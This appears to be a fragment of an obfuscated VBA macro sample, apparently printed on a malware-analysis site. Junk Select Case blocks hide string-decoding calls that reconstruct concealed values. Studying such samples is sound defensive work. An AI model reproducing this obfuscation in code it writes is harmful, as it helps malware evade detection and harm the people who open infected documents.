            FiHhl = CSng(SZALwz)
            kfkjrK = CNUHOz
End Select
XYNOvNfA = CjZjD("rK%!!%fndNNO56TzOq", 3, 10)
Select Case fHraAi
         Case 46787
            EkSUmD = 40479
            DzLlF = Sqr(36447)
         Case 49904
            WuvCsN = CSng(SoHnSJ)
            zVPvaA = XYmhG
End Select
Select Case DvoRpl
         Case 14515
            bLHJH = 13852
            mqcwdC = Sqr(73431)
         Case 46190
            dibIL = CSng(nqUhnz)
            NUMDIO = MwVwF
End Select
jdkWlNjta = CjZjD("sX=jhXNaWHQLZtCU5", 3, 10)
Select Case JivRhR
         Case 44218
            oKJzth = 46408
            oaTfE = Sqr(57113)
         Case 15284
            auXXtf = CSng(dCWkE)
            CzWazY = DEPjc
End Select
Select Case aNUisp
         Case 79330
            NlIkY = 96027
            RHGdAL = Sqr(81572)
         Case 8443
            VUcWoo = CSng(pTpzG)
            qnlnO = WuUSp
End Select
atNRfLXpRF = CjZjD("TtDCt %jKCciSsFsVRkPk", 5, 12)
Select Case QMdPoZ
         Case 68558
            uJYNS = 44453
            cSRjA = Sqr(76938)
         Case 7942
            TrNwi = CSng(fACmiY)
            jaiQNw = hOYUr
End Select
Select Case dMnQa
         Case 80973
            fZViMM = 40399
            LRqUh = Sqr(5768)
         Case 89239
            kWRzT = CSng(NhsMo)
            UFTXt = kdqsws
End Select
FaUzWNlYj = CjZjD("cZww %fndNbiVoV", 5, 6)
Select Case XMizqi
         Case 722
            wCtIsQ = 31773
            oqzYA = Sqr(82804)
         Case 13244
            SbBSQX = CSng(YZNwCf)
            CiolVC = OAPTS
End Select
Select Case PlCzL
         Case 56006
            aMTYFs = 85409
            ZcrUI = Sqr(7813)
         Case 94110
            bzQXAp = CSng(IBUpq)
            uOXHa = osDizq
End Select
FiPGPOwQfiA = CjZjD("Asjqt %JiLvGBYVjENiKk iOU@", 5, 17)
Select Case frFJs
         Case 1949
            CaAuF = 89469
            nLXlCB = Sqr(22522)
         Case 60024
            TNiTI = CSng(XQSjtJ)
            CrboXz = OcBjz
End Select
Select Case ErisH
         Case 33176
            tUsjXv = 29324
            pjpiQT = Sqr(46498)
         Case 46575
            IsLjG = CSng(twaFo)
            SuasEv = AAlSm
End Select
XmaOSp = CjZjD("zGmjMCwzH9lK", 6, 3)
Select Case VjQwn
         Case 98245
            TVkOFw = 75026
            wmwqa = Sqr(7102)
         Case 43846
            PpLXOX = CSng(XaYMl)
            dwnGIN = JLmHID
End Select
Select Case srwzE
         Case 53189
            kfjwj = 15396
            nZDESV = Sqr(26633)
         Case 22776
            imSjrf = CSng(jkisk)
            bhoSCo = PKrEan
End Select
QTohCWD = CjZjD("fwunZ%!!%oXjwllNs%!!lmGtk", 2, 19)
Select Case bmCTAj
         Case 22029
            KlsjF = 25281
            MwPww = Sqr(96587)
         Case 41399
            ASZVQ = CSng(vOJDv)
            uiPrEd = WCZVj
End Select
Select Case NAmhz
         Case 39799
            zlUrh = 68903
            QkrFr = Sqr(18528)
         Case 86751
            KdQELi = CSng(oBtjm)
            YUbWpI = iiParw
End Select
jrpjbXKA = CjZjD("s%SpiZmu2fqWk", 3, 4)
Select Case jCMVn
         Case 21266
            pJRtJ = 57083
            wTwwzY = Sqr(84089)
         Case 30827
            jCBGN = CSng(NpMMJn)
            oXwbNi = KdjiK
End Select
Select Case OKoTL
         Case 34807
            swDjp = 45305
            nLYBn = Sqr(13411)
         Case 77164
            XLFRoF = CSng(OfkQTi)
            VDOPS = ZLkZKO
End Select
TnnCMD = CjZjD("zziwBaAaLXji%=Z3rH87zW", 3, 13)
Select Case DjbAs
         Case 50854
            ndOud = 33791
            kXzZEa = Sqr(29197)
         Case 81638
            mYoGU = CSng(ajGav)
            fDjYsO = rpTlAj
End Select
Select Case BnPVd
         Case 75571
            JjlwU = 18270
            nDJuu = Sqr(11225)
         Case 40626
            GLjOjt = CSng(FdsHb)
            sTIzz = LRIcw
End Select
TfHqHJJv = CjZjD("F%lwEZdbsba.i", 2, 5)
Select Case HhlFB
         Case 52048
            sThDmO = 6712
            raIFN = Sqr(64636)
         Case 39875
            kAvwsJ = CSng(zjnJb)
            jzcRL = lLPWkt
End Select
Select Case hJAuww
         Case 16333
            Ffkrf = 21357
…

Open this report in the interactive analyzer, or submit your own file for analysis.